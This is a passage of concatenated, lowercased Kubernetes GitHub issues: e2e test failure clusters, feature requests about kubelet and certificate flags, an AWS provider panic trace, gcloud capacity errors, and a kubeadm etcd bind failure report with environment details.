failure cluster  5be8b0877e144b6ba08b  https://go.k8s.io/triage 5be8b0877e144b6ba08b        error text:     error during ./hack/ginkgo-e2e.sh --ginkgo.focus=\\ feature:gpu\\  --minstartuppods=8 --report-dir=/workspace/_artifacts: exit status 1           failure cluster statistics: 1 tests failed,    19 jobs failed,    196 builds failed. failure stats cover 1 day time range '18 jul 2017 21:39 utc' to '19 jul 2017 21:39 utc'.       top failed tests by jobs failed:  | test name | jobs failed | | --- | --- | | test | 19 |        top failed jobs by builds failed:  | job name | builds failed | latest failure | | --- | --- | --- | | ci-kubernetes-e2e-gci-gce-examples | 35 |  19 jul 2017 20:57 utc  https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gci-gce-examples/7188  | | ci-kubernetes-e2e-gci-gce-statefulset | 31 |  19 jul 2017 20:56 utc  https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gci-gce-statefulset/8186  | | ci-kubernetes-e2e-gce-statefulset | 29 |  19 jul 2017 20:29 utc  https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gce-statefulset/8269  |   current status  https://go.k8s.io/triage 5be8b0877e144b6ba08b

failure cluster  8cd605aafc9d77600a03  https://go.k8s.io/triage 8cd605aafc9d77600a03        error text:     /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/network_partition.go:319 each pod should start running and responding expected error:     < errors.errorstring | 0xc421cce440>: {         s: \ pod name my-hostname-net: gave up waiting 2m0s for -1 pods to come up\ ,     }     pod name my-hostname-net: gave up waiting 2m0s for -1 pods to come up not to have occurred /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/network_partition.go:266           failure cluster statistics: 4 tests failed,    47 jobs failed,    126 builds failed. failure stats cover 1 day time range '15 aug 2017 23:07 utc' to '16 aug 2017 23:07 utc'.       top failed tests by jobs failed:  | test name | jobs failed | | --- | --- | |  k8s.io  network partition  disruptive   slow   k8s.io   replicationcontroller  should recreate pods scheduled on the unreachable node and allow scheduling of pods on a node after it rejoins the cluster | 36 | |  k8s.io  network partition  disruptive   slow   k8s.io   replicationcontroller  should eagerly create replacement pod during network partition when termination grace is non-zero | 36 | |  k8s.io   sig-apps  network partition  disruptive   slow   k8s.io   replicationcontroller  should recreate pods scheduled on the unreachable node and allow scheduling of pods on a node after it rejoins the cluster | 8 |        top failed jobs by builds failed:  | job name | builds failed | latest failure | | --- | --- | --- | | ci-kubernetes-e2e-kops-aws-serial | 7 |  16 aug 2017 19:42 utc  https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-kops-aws-serial/1256  | | ci-kubernetes-e2e-gke-ubuntustable1-k8sstable2-serial | 5 |  16 aug 2017 17:50 utc  https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gke-ubuntustable1-k8sstable2-serial/110  | | ci-kubernetes-e2e-gci-gke-serial-release-1-6 | 5 |  16 aug 2017 15:55 utc  https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gci-gke-serial-release-1-6/346  |  <details><summary>rationale for assignments:</summary>  | assignee or sig area | owns test s  | | --- | --- | | foxish |  k8s.io  network partition  disruptive   slow   k8s.io   replicationcontroller  should recreate pods scheduled on the unreachable node and allow scheduling of pods on a node after it rejoins the cluster;  k8s.io  network partition  disruptive   slow   k8s.io   replicationcontroller  should eagerly create replacement pod during network partition when termination grace is non-zero;  k8s.io   sig-apps  network partition  disruptive   slow   k8s.io   replicationcontroller  should recreate pods scheduled on the unreachable node and allow scheduling of pods on a node after it rejoins the cluster | | sig/network |  k8s.io  network partition  disruptive   slow   k8s.io   replicationcontroller  should recreate pods scheduled on the unreachable node and allow scheduling of pods on a node after it rejoins the cluster;  k8s.io  network partition  disruptive   slow   k8s.io   replicationcontroller  should eagerly create replacement pod during network partition when termination grace is non-zero;  k8s.io   sig-apps  network partition  disruptive   slow   k8s.io   replicationcontroller  should recreate pods scheduled on the unreachable node and allow scheduling of pods on a node after it rejoins the cluster |  </details><br>   current status  https://go.k8s.io/triage 8cd605aafc9d77600a03

is this a bug report or feature request?  :\r \r  \r   what you expected to happen  :\r https://github.com/kubernetes/kubernetes/blob/master/cmd/kubelet/app/options/container_runtime.go l112\r add a flag to make the deadline configurable\r \r  /area kubelet\r

kube-apiserver  and extension apiservers  take a number of different auth related command line flags. often but not always in triplets  -ca, -cert, -key . many of the names of these flags are similar even though the flags do completely different things.  e.g. see https://github.com/kubernetes/kubernetes/issues/53828 issuecomment-339832669 \r \r this issue is a request for a comprehensive, simply written guide to what these certs are, what they do, what powers they give, what their lifecycle ought to be, when users should rotate them, etc.\r \r the follow up request is to change their names to make them less confusing, more consistent, etc.

 \r currently cni plugins need to be \ manually\  distributed and installed onto the host filesystem, and hope they match the target filesystem's abi, etc so that they can eventually be executed by kubelet.  we already have a much more sophisticated mechanism for managing all of that - containers!\r \r we should run cni plugins  as containers  in the host network namespace.  that way they can be fetched on demand  assuming we know the image name , there are no library/static executable hassles since they will come with their own rootfs, we have a good answer to versioning / garbage collection, etc.

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r  \r \r \r   what happened  :\r see in : https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/pr-logs/pull/55293/pull-kubernetes-e2e-kops-aws/57963/nodelog?junit=junit_08.xml&wrap=on\r \r    \r w1108 05:06:09.221535       5 retry_handler.go:54  inserting delay before aws request  ec2::describevolumes  to avoid requestlimitexceeded: 6s\r i1108 05:06:09.221638       5 trace.go:76  trace 1776548750 : \ create /api/v1/persistentvolumes\   started: 2017-11-08 05:06:06.768300566 +0000 utc m=+680.863858872   total time: 2.453315887s :\r trace 1776548750 :  2.453315887s   2.452639812s  end\r panic: runtime error: invalid memory address or nil pointer dereference\r  signal sigsegv: segmentation violation code=0x1 addr=0x0 pc=0x1abd33a \r \r goroutine 915349  running :\r k8s.io/kubernetes/pkg/cloudprovider/providers/aws.  crossrequestretrydelay .beforesign 0xc425fbc300, 0xc42d9b9000 \r \t/go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/cloudprovider/providers/aws/retry_handler.go:56 +0x20a\r k8s.io/kubernetes/pkg/cloudprovider/providers/aws.  crossrequestretrydelay .beforesign-fm 0xc42d9b9000 \r \t/go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/cloudprovider/providers/aws/aws.go:490 +0x34\r k8s.io/kubernetes/vendor/github.com/aws/aws-sdk-go/aws/request.  handlerlist .run 0xc42d9b9170, 0xc42d9b9000 \r \t/go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/github.com/aws/aws-sdk-go/aws/request/handlers.go:195 +0x9d\r k8s.io/kubernetes/vendor/github.com/aws/aws-sdk-go/aws/request.  request .sign 0xc42d9b9000, 0x0, 0x0 \r \t/go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/github.com/aws/aws-sdk-go/aws/request/request.go:343 +0xb0\r k8s.io/kubernetes/vendor/github.com/aws/aws-sdk-go/aws/request.  request .send 0xc42d9b9000, 0x0, 0x0 \r \t/go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/github.com/aws/aws-sdk-go/aws/request/request.go:479 +0x149\r k8s.io/kubernetes/vendor/github.com/aws/aws-sdk-go/service/ec2.  ec2 .describevolumes 0xc4245ac758, 0xc42aa80e10, 0x8866b40, 0x4e8581, 0x200334167f1 \r \t/go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/github.com/aws/aws-sdk-go/service/ec2/api.go:12848 +0x4d\r k8s.io/kubernetes/pkg/cloudprovider/providers/aws.  awssdkec2 .describevolumes 0xc4245ac760, 0xc42aa80e10, 0x0, 0x42ad38, 0xc42031bc00, 0x7f16b711b000, 0x0 \r \t/go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/cloudprovider/providers/aws/aws.go:689 +0xc5\r k8s.io/kubernetes/pkg/cloudprovider/providers/aws.  awsdisk .describevolume 0xc434f59650, 0xc4334167e0, 0x26, 0xc434f59650 \r \t/go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/cloudprovider/providers/aws/aws.go:1515 +0x115\r k8s.io/kubernetes/pkg/cloudprovider/providers/aws.  cloud .getvolumelabels 0xc426679c70, 0xc4334167e0, 0x26, 0x0, 0x0, 0xc425dec188 \r \t/go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/cloudprovider/providers/aws/aws.go:2020 +0x70\r k8s.io/kubernetes/plugin/pkg/admission/persistentvolume/label.  persistentvolumelabel .findawsebslabels 0xc420b7a6c0, 0xc428371440, 0xc428371440, 0x11, 0x1 \r \t/go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/plugin/pkg/admission/persistentvolume/label/admission.go:136 +0x95\r k8s.io/kubernetes/plugin/pkg/admission/persistentvolume/label.  persistentvolumelabel .admit 0xc420b7a6c0, 0x86c8720, 0xc4312236c0, 0x7f16b6b822f8, 0xc420b7a6c0 \r \t/go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/plugin/pkg/admission/persistentvolume/label/admission.go:91 +0x5c4\r k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/admission.chainadmissionhandler.admit 0xc42013c600, 0xa, 0x10, 0x86c8720, 0xc4312236c0, 0x6, 0x7f16b6b77c01 \r \t/go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/admission/chain.go:34 +0xf5\r k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/admission.  chainadmissionhandler .admit 0xc42037e9a0, 0x86c8720, 0xc4312236c0, 0x7f16b6b77c01, 0xc42037e9a0 \r \t<autogenerated>:1 +0x62\r k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/endpoints/handlers.createhandler.func1 0x86b9960, 0xc436a15c68, 0xc430de1500 \r \t/go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/endpoints/handlers/create.go:99 +0x15f0\r k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/endpoints.restfulcreateresource.func1 0xc434f58480, 0xc42d52d680 \r \t/go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/endpoints/installer.go:1080 +0xd5\r k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/endpoints/metrics.instrumentroutefunc.func1 0xc434f58480, 0xc42d52d680 \r \t/go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/endpoints/metrics/metrics.go:168 +0x208\r k8s.io/kubernetes/vendor/github.com/emicklei/go-restful.  container .dispatch 0xc420715170, 0x7f16b6b71e90, 0xc436a15c58, 0xc430de1500 \r \t/go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/github.com/emicklei/go-restful/container.go:277 +0xb18\r k8s.io/kubernetes/vendor/github.com/emicklei/go-restful.  container .dispatch 0xc420715170, 0x7f16b6b71e90, 0xc436a15c58, 0xc430de1500 \r \t/go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/github.com/emicklei/go-restful/container.go:199 +0x57\r k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/server.director.servehttp 0x392ac81, 0xe, 0xc420715170, 0xc420479260, 0x7f16b6b71e90, 0xc436a15c58, 0xc430de1500 \r \t/go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/server/handler.go:153 +0x4e0\r k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/server.  director .servehttp 0xc4204d30e0, 0x7f16b6b71e90, 0xc436a15c58, 0xc430de1500 \r \t<autogenerated>:1 +0x75\r k8s.io/kubernetes/vendor/k8s.io/kube-aggregator/pkg/apiserver.  proxyhandler .servehttp 0xc42aca1b80, 0x7f16b6b71e90, 0xc436a15c58, 0xc430de1500 \r \t/go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/kube-aggregator/pkg/apiserver/handler_proxy.go:91 +0x15f\r k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/server/mux.  pathhandler .servehttp 0xc4347d5d40, 0x7f16b6b71e90, 0xc436a15c58, 0xc430de1500 \r \t/go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/server/mux/pathrecorder.go:248 +0x26d\r k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/server/mux.  pathrecordermux .servehttp 0xc4222b19d0, 0x7f16b6b71e90, 0xc436a15c58, 0xc430de1500 \r \t/go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/server/mux/pathrecorder.go:234 +0xa1\r k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/server.director.servehttp 0x392d844, 0xf, 0xc421c4d560, 0xc4222b19d0, 0x7f16b6b71e90, 0xc436a15c58, 0xc430de1500 \r \t/go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/server/handler.go:161 +0x6ad\r k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/server.  director .servehttp 0xc425538180, 0x7f16b6b71e90, 0xc436a15c58, 0xc430de1500 \r \t<autogenerated>:1 +0x75\r k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/endpoints/filters.withauthorization.func1 0x7f16b6b71e90, 0xc436a15c58, 0xc430de1500 \r \t/go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/endpoints/filters/authorization.go:51 +0x37d\r net/http.handlerfunc.servehttp 0xc42525a5f0, 0x7f16b6b71e90, 0xc436a15c58, 0xc430de1500 \r \t/usr/local/go/src/net/http/server.go:1918 +0x44\r k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/server/filters.withmaxinflightlimit.func1 0x7f16b6b71e90, 0xc436a15c58, 0xc430de1500 \r \t/go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/server/filters/maxinflight.go:96 +0x318\r net/http.handlerfunc.servehttp 0xc42138ff80, 0x7f16b6b71e90, 0xc436a15c58, 0xc430de1500 \r \t/usr/local/go/src/net/http/server.go:1918 +0x44\r k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/endpoints/filters.withimpersonation.func1 0x7f16b6b71e90, 0xc436a15c58, 0xc430de1500 \r \t/go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/endpoints/filters/impersonation.go:49 +0x203a\r net/http.handlerfunc.servehttp 0xc42525a690, 0x7f16b6b71e90, 0xc436a15c58, 0xc430de1500 \r \t/usr/local/go/src/net/http/server.go:1918 +0x44\r k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/endpoints/filters.withauthentication.func1 0x7f16b6b71e90, 0xc436a15c58, 0xc430de1500 \r \t/go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/endpoints/filters/authentication.go:79 +0x2b1\r net/http.handlerfunc.servehttp 0xc42525a730, 0x7f16b6b71e90, 0xc436a15c58, 0xc430de1500 \r \t/usr/local/go/src/net/http/server.go:1918 +0x44\r k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/endpoints/request.withrequestcontext.func1 0x7f16b6b71e90, 0xc436a15c58, 0xc430de1500 \r \t/go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/endpoints/request/requestcontext.go:110 +0xcb\r net/http.handlerfunc.servehttp 0xc4255381c0, 0x7f16b6b71e90, 0xc436a15c58, 0xc430de1500 \r \t/usr/local/go/src/net/http/server.go:1918 +0x44\r k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/server/filters.  timeouthandler .servehttp.func1 0xc425538280, 0x86bd6a0, 0xc436a15c58, 0xc430de1500, 0xc42f6cfaa0 \r \t/go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/server/filters/timeout.go:93 +0x8d\r created by k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/server/filters.  timeouthandler .servehttp\r \t/go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/server/filters/timeout.go:92 +0x1ab\r    \r /cc @justinsb \r \r fixed in  55307

is this a bug report or feature request?  :\r  \r   what happened  :\r \r https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gce-scale-performance/63 failed with:\r \r    \r i1115 08:04:11.821  generate peer certificates...\r w1115 08:04:45.324  warning: you have selected a disk size of under  200gb . this may result in poor i/o performance. for more information, see: https://developers.google.com/compute/docs/disks performance.\r w1115 08:04:45.324  error:  gcloud.compute.instances.create  could not fetch resource:\r w1115 08:04:45.324   - the zone 'projects/kubernetes-scale/zones/us-east1-a' does not have enough resources available to fulfill the request.  try a different zone, or try again later.\r w1115 08:05:33.915  warning: you have selected a disk size of under  200gb . this may result in poor i/o performance. for more information, see: https://developers.google.com/compute/docs/disks performance.\r w1115 08:05:33.916  error:  gcloud.compute.instances.create  could not fetch resource:\r w1115 08:05:33.916   - the zone 'projects/kubernetes-scale/zones/us-east1-a' does not have enough resources available to fulfill the request.  try a different zone, or try again later.\r w1115 08:06:17.228  warning: you have selected a disk size of under  200gb . this may result in poor i/o performance. for more information, see: https://developers.google.com/compute/docs/disks performance.\r w1115 08:06:17.229  error:  gcloud.compute.instances.create  could not fetch resource:\r w1115 08:06:17.229   - the zone 'projects/kubernetes-scale/zones/us-east1-a' does not have enough resources available to fulfill the request.  try a different zone, or try again later.\r w1115 08:07:03.164  warning: you have selected a disk size of under  200gb . this may result in poor i/o performance. for more information, see: https://developers.google.com/compute/docs/disks performance.\r w1115 08:07:03.164  error:  gcloud.compute.instances.create  could not fetch resource:\r w1115 08:07:03.164   - the zone 'projects/kubernetes-scale/zones/us-east1-a' does not have enough resources available to fulfill the request.  try a different zone, or try again later.\r w1115 08:07:46.182  warning: you have selected a disk size of under  200gb . this may result in poor i/o performance. for more information, see: https://developers.google.com/compute/docs/disks performance.\r w1115 08:07:46.183  error:  gcloud.compute.instances.create  could not fetch resource:\r w1115 08:07:46.183   - the zone 'projects/kubernetes-scale/zones/us-east1-a' does not have enough resources available to fulfill the request.  try a different zone, or try again later.\r w1115 08:07:56.184  failed to create master instance despite 5 attempts\r w1115 08:07:56.195  2017/11/15 08:07:56 util.go:157: step './hack/e2e-internal/e2e-up.sh' finished in 6m6.74208449s\r    \r \r /cc @kubernetes/sig-scalability-bugs

\r we try to install k8s 1.9 cluster without internet using kubeadm in china. so we prepull all the images to local machine.\r the firewalld is disabled and stop.\r \r   what happened  :\r we run the command:\r  sudo kubeadm init --pod-network-cidr=10.244.0.0/16 --kubernetes-version=v1.9.0 \r \r then it hangs on the log below\r  this might take a minute or longer if the control plane images have to be pulled.  \r \r check the kubelet log, found the log for failing to start etcd container:\r  1月 05 11:49:10 ajaisys-scm-ai-k8s-1-7a9fd2c5.novalocal kubelet 25744 : i0105 11:49:10.224981   25744 kubelet_node_status.go:273  setting node annotation to enable volume controller attach/detach\r 1月 05 11:49:10 ajaisys-scm-ai-k8s-1-7a9fd2c5.novalocal kubelet 25744 : i0105 11:49:10.551168   25744 kuberuntime_manager.go:514  container {name:etcd image:gcr.io/google_containers/etcd-amd64:3.1.10 command: etcd --listen-client-urls=http://127.0.0.1:2379 --advertise-client-urls=http://127.0.0.1:2379 --data-dir=/var/lib/etcd  args:   workingdir: ports:   envfrom:   env:   resources:{limits:map   requests:map  } volumemounts: {name:etcd readonly:false mountpath:/var/lib/etcd subpath: mountpropagation:<nil>}  volumedevices:   livenessprobe:&probe{handler:handler{exec:nil,httpget:&httpgetaction{path:/health,port:2379,host:127.0.0.1,scheme:http,httpheaders:  ,},tcpsocket:nil,},initialdelayseconds:15,timeoutseconds:15,periodseconds:10,successthreshold:1,failurethreshold:8,} readinessprobe:nil lifecycle:nil terminationmessagepath:/dev/termination-log terminationmessagepolicy:file imagepullpolicy:ifnotpresent securitycontext:nil stdin:false stdinonce:false tty:false} is dead, but restartpolicy says that we should restart it.\r 1月 05 11:49:10 ajaisys-scm-ai-k8s-1-7a9fd2c5.novalocal kubelet 25744 : i0105 11:49:10.551321   25744 kuberuntime_manager.go:758  checking backoff for container \ etcd\  in pod \ etcd-ajaisys-scm-ai-k8s-1-7a9fd2c5.novalocal_kube-system 408851a572c13f8177557fdb9151111c \ \r 1月 05 11:49:10 ajaisys-scm-ai-k8s-1-7a9fd2c5.novalocal kubelet 25744 : i0105 11:49:10.551487   25744 kuberuntime_manager.go:768  back-off 5m0s restarting failed container=etcd pod=etcd-ajaisys-scm-ai-k8s-1-7a9fd2c5.novalocal_kube-system 408851a572c13f8177557fdb9151111c \r 1月 05 11:49:10 ajaisys-scm-ai-k8s-1-7a9fd2c5.novalocal kubelet 25744 : e0105 11:49:10.551527   25744 pod_workers.go:186  error syncing pod 408851a572c13f8177557fdb9151111c  \ etcd-ajaisys-scm-ai-k8s-1-7a9fd2c5.novalocal_kube-system 408851a572c13f8177557fdb9151111c \  , skipping: failed to \ startcontainer\  for \ etcd\  with crashloopbackoff: \ back-off 5m0s restarting failed container=etcd pod=etcd-ajaisys-scm-ai-k8s-1-7a9fd2c5.novalocal_kube-system 408851a572c13f8177557fdb9151111c \ \r 1月 05 11:49:11 ajaisys-scm-ai-k8s-1-7a9fd2c5.novalocal kubelet 25744 : e0105 11:49:11.090446   25744 reflector.go:205  k8s.io/kubernetes/pkg/kubelet/kubelet.go:465: failed to list  v1.service: get https://10.135.80.73:6443/api/v1/services?limit=500&resourceversion=0: dial tcp 10.135.80.73:6443: getsockopt: connection refused\r 1月 05 11:49:11 ajaisys-scm-ai-k8s-1-7a9fd2c5.novalocal kubelet 25744 : e0105 11:49:11.091470   25744 reflector.go:205  k8s.io/kubernetes/pkg/kubelet/config/apiserver.go:47: failed to list  v1.pod: get https://10.135.80.73:6443/api/v1/pods?fieldselector=spec.nodename%3dajaisys-scm-ai-k8s-1-7a9fd2c5.novalocal&limit=500&resourceversion=0: dial tcp 10.135.80.73:6443: getsockopt: connection refused\r 1月 05 11:49:11 ajaisys-scm-ai-k8s-1-7a9fd2c5.novalocal kubelet 25744 : e0105 11:49:11.092383   25744 reflector.go:205  k8s.io/kubernetes/pkg/kubelet/kubelet.go:474: failed to list  v1.node: get https://10.135.80.73:6443/api/v1/nodes?fieldselector=metadata.name%3dajaisys-scm-ai-k8s-1-7a9fd2c5.novalocal&limit=500&resourceversion=0: dial tcp 10.135.80.73:6443: getsockopt: connection refused\r 1月 05 11:49:11 ajaisys-scm-ai-k8s-1-7a9fd2c5.novalocal kubelet 25744 : i0105 11:49:11.108272   25744 kubelet_node_status.go:273  setting node annotation to enable volume controller attach/detach\r 1月 05 11:49:11 ajaisys-scm-ai-k8s-1-7a9fd2c5.novalocal kubelet 25744 : i0105 11:49:11.112456   25744 kubelet_node_status.go:82  attempting to register node ajaisys-scm-ai-k8s-1-7a9fd2c5.novalocal\r 1月 05 11:49:11 ajaisys-scm-ai-k8s-1-7a9fd2c5.novalocal kubelet 25744 : e0105 11:49:11.112816   25744 kubelet_node_status.go:106  unable to register node \ ajaisys-scm-ai-k8s-1-7a9fd2c5.novalocal\  with api server: post https://10.135.80.73:6443/api/v1/nodes: dial tcp 10.135.80.73:6443: getsockopt: connection refused\r 1月 05 11:49:12 ajaisys-scm-ai-k8s-1-7a9fd2c5.novalocal kubelet 25744 : e0105 11:49:12.091178   25744 reflector.go:205  k8s.io/kubernetes/pkg/kubelet/kubelet.go:465: failed to list  v1.service: get https://10.135.80.73:6443/api/v1/services?limit=500&resourceversion=0: dial tcp 10.135.80.73:6443: getsockopt: connection refused\r 1月 05 11:49:12 ajaisys-scm-ai-k8s-1-7a9fd2c5.novalocal kubelet 25744 : e0105 11:49:12.092031   25744 reflector.go:205  k8s.io/kubernetes/pkg/kubelet/config/apiserver.go:47: failed to list  v1.pod: get https://10.135.80.73:6443/api/v1/pods?fieldselector=spec.nodename%3dajaisys-scm-ai-k8s-1-7a9fd2c5.novalocal&limit=500&resourceversion=0: dial tcp 10.135.80.73:6443: getsockopt: connection refused\r 1月 05 11:49:12 ajaisys-scm-ai-k8s-1-7a9fd2c5.novalocal kubelet 25744 : e0105 11:49:12.093052   25744 reflector.go:205  k8s.io/kubernetes/pkg/kubelet/kubelet.go:474: failed to list  v1.node: get https://10.135.80.73:6443/api/v1/nodes?fieldselector=metadata.name%3dajaisys-scm-ai-k8s-1-7a9fd2c5.novalocal&limit=500&resourceversion=0: dial tcp 10.135.80.73:6443: getsockopt: connection refused\r 1月 05 11:49:13 ajaisys-scm-ai-k8s-1-7a9fd2c5.novalocal kubelet 25744 : e0105 11:49:13.092093   25744 reflector.go:205  k8s.io/kubernetes/pkg/kubelet/kubelet.go:465: failed to list  v1.service: get https://10.135.80.73:6443/api/v1/services?limit=500&resourceversion=0: dial tcp 10.135.80.73:6443: getsockopt: connection refused\r  \r \r then using '  docker logs  ' to check the failed etcd container log:\r  2018-01-05 03:33:35.127695 i | etcdmain: etcd version: 3.1.10\r 2018-01-05 03:33:35.127891 i | etcdmain: git sha: 0520cb9\r 2018-01-05 03:33:35.127897 i | etcdmain: go version: go1.8.3\r 2018-01-05 03:33:35.127900 i | etcdmain: go os/arch: linux/amd64\r 2018-01-05 03:33:35.127906 i | etcdmain: setting maximum number of cpus to 8, total number of available cpus is 8\r 2018-01-05 03:33:35.150880 c | etcdmain: listen tcp 192.157.208.178:2380: bind: cannot assign requested address\r  \r \r in my environment, our ip is 10.135.xx.xx, why does etcd try to bind to the weired   192.157.208.178  ?\r \r   what you expected to happen  :\r the kubeadm should be initialized successfully.\r \r   how to reproduce it  as minimally and precisely as possible   :\r  sudo kubeadm reset \r  sudo kubeadm init --pod-network-cidr=10.244.0.0/16 --kubernetes-version v1.9.0\r  \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r kubectl version:\r client version: version.info{major:\ 1\ , minor:\ 9\ , gitversion:\ v1.9.1\ , gitcommit:\ 3a1c9449a956b6026f075fa3134ff92f7d55f812\ , gittreestate:\ clean\ , builddate:\ 2018-01-04t11:52:23z\ , goversion:\ go1.9.2\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r \r kubeadm verison:\r kubeadm version: &version.info{major:\ 1\ , minor:\ 9\ , gitversion:\ v1.9.1\ , gitcommit:\ 3a1c9449a956b6026f075fa3134ff92f7d55f812\ , gittreestate:\ clean\ , builddate:\ 2018-01-04t11:40:06z\ , goversion:\ go1.9.2\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r \r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :\r $ cat /etc/os-release \r name=\ centos linux\ \r version=\ 7  core \ \r id=\ centos\ \r id_like=\ rhel fedora\ \r version_id=\ 7\ \r pretty_name=\ centos linux 7  core \ \r ansi_color=\ 0;31\ \r cpe_name=\ cpe:/o:centos:centos:7\ \r home_url=\ https://www.centos.org/\ \r bug_report_url=\ https://bugs.centos.org/\ \r \r centos_mantisbt_project=\ centos-7\ \r centos_mantisbt_project_version=\ 7\ \r redhat_support_product=\ centos\ \r redhat_support_product_version=\ 7\ \r \r - kernel  e.g.  uname -a  :\r $ uname -a\r linux ajaisys-scm-ai-k8s-1-7a9fd2c5.novalocal 3.10.0-693.5.2.el7.x86_64  1 smp fri oct 20 20:32:50 utc 2017 x86_64 x86_64 x86_64 gnu/linux\r \r - install tools:\r $ sudo docker info\r containers: 8\r  running: 6\r  paused: 0\r  stopped: 2\r images: 10\r server version: 1.12.6\r storage driver: devicemapper\r  pool name: docker-8:1-4198598-pool\r  pool blocksize: 65.54 kb\r  base device size: 10.74 gb\r  backing filesystem: xfs\r  data file: /dev/loop0\r  metadata file: /dev/loop1\r  data space used: 1.029 gb\r  data space total: 107.4 gb\r  data space available: 16.67 gb\r  metadata space used: 1.446 mb\r  metadata space total: 2.147 gb\r  metadata space available: 2.146 gb\r  thin pool minimum free space: 10.74 gb\r  udev sync supported: true\r  deferred removal enabled: true\r  deferred deletion enabled: true\r  deferred deleted device count: 0\r  data loop file: /var/lib/docker/devicemapper/devicemapper/data\r  warning: usage of loopback devices is strongly discouraged for production use. use  --storage-opt dm.thinpooldev  to specify a custom block storage device.\r  metadata loop file: /var/lib/docker/devicemapper/devicemapper/metadata\r  library version: 1.02.140-rhel7  2017-05-03 \r logging driver: journald\r cgroup driver: systemd\r plugins:\r  volume: local\r  network: bridge host null overlay\r swarm: inactive\r runtimes: docker-runc runc\r default runtime: docker-runc\r security options: seccomp\r kernel version: 3.10.0-693.5.2.el7.x86_64\r operating system: centos linux 7  core \r ostype: linux\r architecture: x86_64\r number of docker hooks: 3\r cpus: 8\r total memory: 15.51 gib\r name: 